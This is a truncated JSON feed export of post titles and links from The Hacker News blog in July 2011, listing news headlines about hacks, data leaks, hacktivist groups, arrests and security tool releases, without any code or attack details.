rnews.com/2011/07/spinn-secure-personal-information.html","title":"SPINN - Secure Personal Information Notification Network Hacked By Inj3ct0r"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-tfvFkpbJ9tc/TjG_6TfgpBI/AAAAAAAACm8/T52exWnR8tI/s72-c/injector.jpg","height":"72","width":"72"}},{
...[SNIP]...
l","href":"http://thehackernews.com/2011/07/war-texting-hackers-unlock-car-doors.html","title":"War Texting : Hackers Unlock Car Doors Via SMS"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-hxBsmBcnCWk/TjG3rEO8VnI/AAAAAAAACmw/yq98QE5hFZ4/s72-c/car-alarm-blog.jpg","height":"72","width":"7
...[SNIP]...
news.com/2011/07/iframe-injection-vulnerability-on.html","title":"Iframe Injection Vulnerability on FileHippo - Popular software download site"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-XeT4i-Q03kE/TjEaidpAd7I/AAAAAAAACmY/iu6Kv9fMThY/s72-c/iframe.JPG","height":"72","width":"72"}},{"i
...[SNIP]...
:"alternate","type":"text/html","href":"http://thehackernews.com/2011/07/apache-log-extractor-tool_27.html","title":"Apache Log Extractor tool"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-j6ycpOK8rV8/TjD9MpQUYJI/AAAAAAAACmU/gIRKor-o3FU/s72-c/4ba77bbffd84536baae37f56376b9feb.png","heigh
...[SNIP]...
href":"http://thehackernews.com/2011/07/thn-review-ghost-in-wires-kevin-mitnick.html","title":"THN Review : Ghost in the Wires - Kevin Mitnick"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}]},{"id":{"$t":"tag:blogger.com,1999:blog-4802841478634147276.post-6354627795033168988"},"published":{"$t":"2011-07-27T16:06:00.000-11:00"},"updated":{"$t":"2011-07-27T16:06:54.388-11:00"},"category
...[SNIP]...
f":"http://thehackernews.com/2011/07/lulzsec-member-topiary-arrested-in.html","title":"LulzSec Member Topiary arrested in the Shetland Islands"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-9XGwNOcImN0/TjDR11Kq2aI/AAAAAAAACmQ/RP9aqba3CAk/s72-c/topiary.jpg","height":"72","width":"72"}},{"
...[SNIP]...
/html","href":"http://thehackernews.com/2011/07/dod-launches-new-cyber-strategy-website.html","title":"DOD Launches New Cyber Strategy Website"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-6WCSS31q664/TjA48I9NhYI/AAAAAAAACmE/RG0igYVRhNk/s72-c/dod.gif","height":"72","width":"72"}},{"id":
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/07/smiasm-reverse-engineering-framework.html","title":"Smiasm - Reverse engineering framework"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-ntyKMAnYB84/TjA2kMXPo-I/AAAAAAAACmA/OKjXuz3HORU/s72-c/software_test_web.jpg","height":"72","width"
...[SNIP]...
ws.com/2011/07/oppaypal-anonymous-calls-for-boycott-of.html","title":"#OpPayPal - Anonymous calls for boycott of PayPal for blocking Wikileaks"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-SEctkEiTGis/TjA2gbeXJDI/AAAAAAAACl8/y7r2FTvB0Qw/s72-c/hi.jpg","height":"72","width":"72"}},{"id":{
...[SNIP]...
/metasploit-pro-40-released-enterprise.html","title":"Metasploit Pro 4.0 released - Enterprise Integration, Cloud Deployment \u0026 Automation"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-ckd6SmLKsh4/Ti-xy6XFgBI/AAAAAAAACl0/fIL_5gG-RO4/s72-c/metasploit_logo.png","height":"72","width":"
...[SNIP]...
//thehackernews.com/2011/07/bsnl-system-hacked-by-pakistan-cyber.html","title":"BSNL System Hacked by Pakistan Cyber Army - Users info at risk"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-vudgwj2cX6M/Ti8PIlDXBqI/AAAAAAAAClU/bUKTdDLAd6I/s72-c/bsnl1.png","height":"72","width":"72"}},{"id
...[SNIP]...
s.com/2011/07/operation-intifada-anonymous-prepares.html","title":"Operation Intifada: Anonymous Prepares For DDOS Attack On Israel Parliament"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Uy7e0Jt247A/Ti8MHgEK70I/AAAAAAAAClQ/kY6wBSu_KMI/s72-c/259204-184461254942562-184053311650023-45403
...[SNIP]...
html","href":"http://thehackernews.com/2011/07/osforensics-digital-investigations.html","title":"OSForensics ... Digital investigations faster"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-1Qmp5EzB7_M/Ti8LKOdQXUI/AAAAAAAAClM/u9YI_1wrGbI/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
"href":"http://thehackernews.com/2011/07/90000-web-pages-infected-by-mass-iframe.html","title":"90000 web pages infected by mass iFrame attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-vV8PQoHFrWo/Ti8IHUz3GFI/AAAAAAAAClI/8sJSDU7EeQU/s72-c/willysy_drive_by_download_mass_injection_goo
...[SNIP]...
tml","href":"http://thehackernews.com/2011/07/changegov-donor-list-2010-leaked-by.html","title":"Change.Gov Donor List 2010 leaked by #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-T-iNctsLAfw/Ti8E5uxj35I/AAAAAAAAClE/CrfwDQvvEmM/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
11/07/anonymous-lulzsec-stuxnet-nominated-for.html","title":"Anonymous ,LulzSec \u0026 Stuxnet nominated for Pwnie Awards 2011 for Epic 0wnage"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-VtcQNHOQrOY/Ti0z8CNvOXI/AAAAAAAACk0/mqS10un0HME/s72-c/header_graphic.jpg","height":"72","width":"7
...[SNIP]...
ef":"http://thehackernews.com/2011/07/300-military-and-government-accounts.html","title":"300 Military and Government Accounts leaked by P0keu"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-AS_G48iUBl4/Ti0fdz636zI/AAAAAAAACkw/P2-utp9FmlI/s72-c/90000-US-Military-E-mail-Hacked.jpg","height
...[SNIP]...
"text/html","href":"http://thehackernews.com/2011/07/red-hat-enterprise-linux-57-released.html","title":"Red Hat Enterprise Linux 5.7 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-uUDHda4rnK8/Ti0X2rKoC6I/AAAAAAAACks/SG_Ccyr9kwY/s72-c/redhat.png","height":"72","width":"72"}},{"i
...[SNIP]...
07/cnaipic-italian-government-hacked-by.html","title":"CNAIPIC - Italian government hacked by #Antisec , Various Confidential documents leaked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-WnhnT2pZahI/Ti0TVy4tMWI/AAAAAAAACko/ipe5AZUOfG8/s72-c/UTBywh.jpg","height":"72","width":"72"}},{"i
...[SNIP]...
t/html","href":"http://thehackernews.com/2011/07/virtualbox-41-final-for-linux-released.html","title":"VirtualBox 4.1 Final for Linux Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-hkM03equhfw/Ti0Q6k12iaI/AAAAAAAACkg/H3KWBXwhTqk/s72-c/mac_os_x.png","height":"72","width":"72"}},{
...[SNIP]...
07/ani-shell-v13-released-mail-bomber-with.html","title":"Ani Shell v1.3 Released -- Mail Bomber (with less spam detection) \u0026 PHP Decoder"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-AAhG5bHSnz8/TiwKnddhuwI/AAAAAAAACkY/hCoFuvljtVQ/s72-c/Ani-Shell+v1.2+3.PNG","height":"72","width":
...[SNIP]...
://thehackernews.com/2011/07/mallika-sherawat-official-website.html","title":"Mallika Sherawat official website Defaced by KFMDD Teams Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-Po4n76dmB1Y/TiwIj-1zdcI/AAAAAAAACkU/Uq4bMZAAs7Y/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
":"http://thehackernews.com/2011/07/philippine-congress-hacked-by-bashcrew.html","title":"Philippines Congress hacked by BashCrew for #AntiSec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-m6HahWICDj0/Tiv2qsbMi4I/AAAAAAAACkQ/eYJ29ohHUJM/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
s.com/2011/07/colombian-anonymous-hackers-reveal.html","title":"Colombian Anonymous Hackers reveal personal data of Colombian police officials"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/--Ri6saakk6w/Tivyz1AMWqI/AAAAAAAACkE/cLAKn0DSgm8/s72-c/sorpresa.jpg","height":"72","width":"72"}},{
...[SNIP]...
/2011/07/english-defence-league-facebook-page.html","title":"English Defence League Facebook Page Deleted \u0026 Members Mobile Numbers Leaked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-xiPK3ilNYGo/Tivx78xrP5I/AAAAAAAACj8/wVjPYT7sync/s72-c/clip-image002.jpg","height":"72","width":"72
...[SNIP]...
","type":"text/html","href":"http://thehackernews.com/2011/07/wireshark-161-and-148-released.html","title":"Wireshark 1.6.1 and 1.4.8 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-cSnouzKcX2s/TirQXTDh_HI/AAAAAAAACj4/0xi-1LRBNVc/s72-c/WireSharkLogo-1024x819.png","height":"72","w
...[SNIP]...
ref":"http://thehackernews.com/2011/07/android-passwords-are-stored-in-plain.html","title":"Android Passwords are stored in plain text on Disk"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-1i0RNGDqn3s/TirMFiTnFxI/AAAAAAAACj0/1ptASfol3uY/s72-c/android-security-.jpg","height":"72","width"
...[SNIP]...
,"href":"http://thehackernews.com/2011/07/apple-macbooks-can-be-hacked-through.html","title":"Apple MacBooks Can Be Hacked Through The Battery"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-WGKTzLuKQFQ/Tip5ZjZrblI/AAAAAAAACjw/yQ2ZiG-t3L8/s72-c/484f72cbe31933760e9f1260f6eb003d.jpg","heigh
...[SNIP]...
hackernews.com/2011/07/pakcyberarmy-database-hacked-and-leaked.html","title":"Pakcyberarmy database hacked and Leaked by Indian Hacker - Lucky"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-1YLpu7J8Eck/Tipybp5GRvI/AAAAAAAACjs/VDG8Var6DT8/s72-c/india2.JPG","height":"72","width":"72"}},{"i
...[SNIP]...
pe":"text/html","href":"http://thehackernews.com/2011/07/linux-30-kernel-released-download.html","title":"Linux 3.0 Kernel Released - Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-7mDpSuVZ_Sw/TikSB4Q0J2I/AAAAAAAACjk/Xvx4FMYo-y0/s72-c/linux3_0.png","height":"72","width":"72"}},{
...[SNIP]...
ref":"http://thehackernews.com/2011/07/8-court-cases-against-sarah-palin.html","title":"8 Court Cases against Sarah Palin Leaked By TeaMp0isoN"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-Q02H42H5gjE/TiimodM0V8I/AAAAAAAACjY/PtmObnejUOQ/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ref":"http://thehackernews.com/2011/07/jouve-group-hacked-by-inj3ct0r-team.html","title":"Jouve Group hacked by Inj3ct0r Team Against The Nato"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-7kGC3C4TxX0/TiikQjvaJ9I/AAAAAAAACjU/XJ3IQ1ZKoE8/s72-c/Jouve_medium.jpg","height":"72","width":"72"
...[SNIP]...
tp://thehackernews.com/2011/07/10-peru-government-sites-database-dump.html","title":"10 Peru government sites database Dump from #antisec Peru"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-ZhlimwOiW10/TiifOfMe5QI/AAAAAAAACjM/VtrNFzxWrBU/s72-c/peru-mining.jpg","height":"72","width":"72"}
...[SNIP]...
href":"http://thehackernews.com/2011/07/15-porn-sites-defaced-by-amin-safi.html","title":"15 Porn sites defaced by Amin Safi (Tunisian Hacker)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-okjzOSSqKHM/TiiczToARjI/AAAAAAAACjI/LxHmwahl7sQ/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ernews.com/2011/07/critical-vulnerabilities-in-facebook.html","title":"Critical Vulnerabilities in Facebook and Picasa discovered by Microsoft"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-axMQXZHCZoA/TiiYwCXfc0I/AAAAAAAACjE/m47N2FEDjBA/s72-c/facebookpicasa_thumb.gif","height":"72","wid
...[SNIP]...
,"href":"http://thehackernews.com/2011/07/harvard-researcher-arrested-on-hacking.html","title":"Harvard researcher arrested on hacking charges"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-gNYotmWHK2o/TiiX_D-N6mI/AAAAAAAACjA/yk7dtfYFBzE/s72-c/download.jpg","height":"72","width":"72"}},{
...[SNIP]...
","type":"text/html","href":"http://thehackernews.com/2011/07/india-us-sign-cyber-shield-deal.html","title":"India - US sign Cyber Shield deal"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-4LTfjUi5ILY/TidEihCGG8I/AAAAAAAACic/WMrj5Fa8JhU/s72-c/India+and+America+Flags.jpg","height":"72","
...[SNIP]...
m/2011/07/wlan-security-megaprimer-dvd-released.html","title":"WLAN Security Megaprimer DVD Released - 10+ hours of Wi-Fi Hacking and Pwnage !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-UplBzNtp0Mk/Tic4lOTO43I/AAAAAAAACiY/y8GLH_XG5w0/s72-c/wi-fi-megaprimer.png","height":"72","width":
...[SNIP]...
ml","href":"http://thehackernews.com/2011/07/sifycom-hacked-with-sql-injection.html","title":"Sify.com hacked with SQL Injection Vulnerability"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-IRLALQ-0SxI/Tic1V-YKIlI/AAAAAAAACiA/O8-XiO0Ha9k/s72-c/Sify.png","height":"72","width":"72"}},{"id"
...[SNIP]...
"href":"http://thehackernews.com/2011/07/2011-linux-auto-rooter-beta-10-coded-by.html","title":"2011 Linux Auto Rooter Beta 1.0 Coded by CrosS"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-CirXtB7zioU/TicsdT7Mx3I/AAAAAAAACh8/qeAy2dWJOiQ/s72-c/vbulletin4_logo.png","height":"72","width":"
...[SNIP]...
11/07/wd-tv-live-hub-compromised-multiple.html","title":"WD TV Live Hub Compromised - Multiple Vulnerabilities Found By Dr. Alberto Fontanella"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-iU81eNbNju8/Tibey3_bbPI/AAAAAAAACh4/GUTBYx7OiFU/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ackernews.com/2011/07/association-of-american-feed-control.html","title":"Association Of American Feed Control Officials (AAFCO) Hacked by ZHC"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-yQUxZzWKJIo/TibcGcZi-LI/AAAAAAAACh0/6aaDCLefZa4/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
kernews.com/2011/07/anonpluscom-anonymous-social-networking.html","title":"Anonplus.com (Anonymous Social Networking Site) Hacked by AKINCILAR"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-sjCyspRL8Lg/TibXhwTPyHI/AAAAAAAAChw/Tgfa10xmCQA/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
p://thehackernews.com/2011/07/fbi-raids-homes-of-suspected-anonymous.html","title":"FBI Raids Homes of Suspected Anonymous Hackers at New York"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-yxhKY6yPniM/TibPzORP9AI/AAAAAAAAChs/K6nyRPzV65g/s72-c/baldwin+FBI+Raids+NYC.jpg","height":"72","wi
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/07/lulzsec-will-release-murdoch-email.html","title":"LulzSec will release Murdoch email archive"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-r-TfgZFPSp4/TibOPHvRKMI/AAAAAAAACho/KRFI4IlPz_4/s72-c/lulzsec.jpg","height":"72","width":"72"}},{"
...[SNIP]...
ehackernews.com/2011/07/fbi-arrests-at-employee-for-leaking.html","title":"FBI arrests AT\u0026T employee for leaking information to Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-aK2jAORhoso/TibKdNNl95I/AAAAAAAAChk/GAjq5mnaYjU/s72-c/AnonymousWeAreLegion.jpg","height":"72","wid
...[SNIP]...
hehackernews.com/2011/07/backtrack-5-release-1-will-be-available.html","title":"BackTrack 5 Release 1 will be available on 10th of August,2011"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-CC0G_W-GLXA/TibAb3_v9PI/AAAAAAAAChg/2I2QcpuyBiM/s72-c/bt5-r1-backtrack.png","height":"72","width":
...[SNIP]...
thehackernews.com/2011/07/microsoft-offers-250000-reward-for.html","title":"Microsoft offers $250,000 reward for information of Rustock Botnet"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-k-QHMs-O-YM/TiSVflvp4QI/AAAAAAAAChc/YrHvrabEOyY/s72-c/Microsoft-Hounding-Rustock-Botnet-Backers-in
...[SNIP]...
html","href":"http://thehackernews.com/2011/07/netsecl-linux-32-released-with-new-xfce.html","title":"NetSecL Linux 3.2 released with new XFCE"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-FlGz6VQMGdY/TiSOR4378CI/AAAAAAAAChY/atk6JKdkBK0/s72-c/mfs_2.png","height":"72","width":"72"}},{"id
...[SNIP]...
07/auth3ntiq-shika01-found-local-file.html","title":"Auth3ntiQ \u0026 shika01 found Local file include on numericable.be \u0026 numericable.lu"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-PGp_X64rat8/TiSILwnelKI/AAAAAAAAChU/cfhMqhcNuRo/s72-c/numericabl.png","height":"72","width":"72"}}
...[SNIP]...
/2011/07/tourism-development-corporation-of.html","title":"Tourism Development Corporation of Punjab - Pakistan (TDCP) Hacked by Code Injector"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Nwn3JCTzZSU/TiQsc3PiMmI/AAAAAAAAChM/XUps_5C2kSU/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ews.com/2011/07/linux-kernel-30-343-changes-made-by.html","title":"Linux kernel 3.0 - 343 changes made by Microsoft developer K. Y. Srinivasan"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-7_EjsrkN5B8/TiQnWBH5wOI/AAAAAAAAChI/Ws69ED8fMRw/s72-c/79367707_be7be2ad6d.jpg","height":"72","widt
...[SNIP]...
://thehackernews.com/2011/07/damn-small-sqli-scanner-dsss-v01b-100.html","title":"Damn Small SQLi Scanner (DSSS) v0.1b - 100 Lines Python Code"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-Bg4prXlKyP8/TiQfxrsa3-I/AAAAAAAAChE/kPAmxx93Uo8/s72-c/jwm-2.0.png","height":"72","width":"72"}},{"
...[SNIP]...
":"http://thehackernews.com/2011/07/israel-web-hosting-server-hacked-for.html","title":"Israel Web Hosting Server Hacked For Palestine By Dr T"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-IrSkmrUzhyM/TiQcJQdZ7RI/AAAAAAAAChA/UI0idHiV1mg/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
"http://thehackernews.com/2011/07/lady-gaga-website-hacked-and-fans.html","title":"Lady Gaga website hacked and fans details stolen by Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-t3i0oaO1OvM/TiHsq5ShpKI/AAAAAAAACf8/ujxmdaJa--Y/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
2011/07/crazies-hackers-leaks-server.html","title":"THE CRAZIES Hackers Leaks Server Certificates of Defense Information Systems Agency (DISA)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-fouLQE_cFZk/TiHRyzkkehI/AAAAAAAACfw/OIdCqMP6Lcw/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ml","href":"http://thehackernews.com/2011/07/4000-websites-hacked-by-077-hamdi.html","title":"4000 Websites hacked by The 077 ( HamDi HaCker )"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-04rNrohRc-M/TiC-SHKhWTI/AAAAAAAACfs/2VfIZrIqsLk/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
hehackernews.com/2011/07/antisecshell-v05-shell-released-by.html","title":"AntiSecShell v.0.5 Shell Released by underground hackers of Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-igDOfNY1yD0/TiC40uiqOvI/AAAAAAAACfg/pA3cBd3D0jc/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/07/0day-unrealircd-32x-all-versions-remote.html","title":"Parliament Of Botswana hacked by V0iD"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-KseYS3LDvAo/TiC8XNi8kfI/AAAAAAAACfk/S6lAIHEmO9s/s72-c/25a.gif","height":"72","width":"72"}},{"id":
...[SNIP]...
ernews.com/2011/07/jawahar-knowledge-center-website-hacked.html","title":"Jawahar Knowledge Center website Hacked \u0026 Databse leaked by PCA"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-IHXJPsH7N3Y/TiCwoVHCWRI/AAAAAAAACfY/ND55z7pJq3s/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
